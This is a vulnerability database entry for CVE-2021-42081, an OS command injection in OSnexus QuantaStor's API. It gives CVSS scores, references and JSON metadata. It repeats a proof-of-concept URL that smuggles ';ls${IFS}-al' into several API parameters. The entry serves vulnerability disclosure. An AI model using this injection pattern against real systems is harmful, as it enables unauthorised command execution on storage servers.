CVE-2021-42081

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

CVSS v3 9.1 CRITICAL

9.1^/10

CVSS v3 : CRITICAL

Vector :

Exploitability : 2.3 / Impact : 6.0

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required HIGH

User Interaction NONE

Confidentiality Impact HIGH

Integrity Impact HIGH

Availability Impact HIGH

Scope CHANGED

References

Link	Resource
https://csirt.divd.nl/CVE-2021-42081	Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory
https://csirt.divd.nl/CVE-2021-42081	Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory

Configurations

Configuration 1 (hide)

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

History

22 Sep 2025, 07:15

Type	Values Removed	Values Added
Summary	~~(en) An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.~~	(en) An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Information

Published : 2023-07-10 16:15

Updated : 2025-09-22 07:15

NVD link : CVE-2021-42081

Mitre link : CVE-2021-42081

CVE.ORG link : CVE-2021-42081

JSON object : View

Products Affected

osnexus

quantastor

CWE

CWE-78

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

{"id": "CVE-2021-42081", "cveTags": [], "metrics": {"cvssMetricV31": [{"type": "Secondary", "source": "csirt@divd.nl", "cvssData": {"scope": "CHANGED", "version": "3.1", "baseScore": 9.1, "attackVector": "NETWORK", "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "HIGH", "confidentialityImpact": "HIGH"}, "impactScore": 6.0, "exploitabilityScore": 2.3}, {"type": "Primary", "source": "nvd@nist.gov", "cvssData": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 7.2, "attackVector": "NETWORK", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "HIGH", "confidentialityImpact": "HIGH"}, "impactScore": 5.9, "exploitabilityScore": 1.2}]}, "published": "2023-07-10T16:15:47.583", "references": [{"url": "https://csirt.divd.nl/CVE-2021-42081", "tags": ["Third Party Advisory"], "source": "csirt@divd.nl"}, {"url": "https://csirt.divd.nl/DIVD-2021-00020/", "source": "csirt@divd.nl"}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["Product"], "source": "csirt@divd.nl"}, {"url": "https://www.wbsec.nl/osnexus", "tags": ["Third Party Advisory"], "source": "csirt@divd.nl"}, {"url": "https://csirt.divd.nl/CVE-2021-42081", "tags": ["Third Party Advisory"], "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.divd.nl/DIVD-2021-00020", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["Product"], "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.wbsec.nl/osnexus", "tags": ["Third Party Advisory"], "source": "af854a3a-2127-422b-91ae-364da2661108"}], "vulnStatus": "Modified", "weaknesses": [{"type": "Secondary", "source": "csirt@divd.nl", "description": [{"lang": "en", "value": "CWE-78"}]}, {"type": "Primary", "source": "nvd@nist.gov", "description": [{"lang": "en", "value": "CWE-78"}]}], "descriptions": [{"lang": "en", "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al"}], "lastModified": "2025-09-22T07:15:39.650", "configurations": [{"nodes": [{"negate": false, "cpeMatch": [{"criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E", "versionEndExcluding": "6.0.0.355"}], "operator": "OR"}]}], "sourceIdentifier": "csirt@divd.nl"}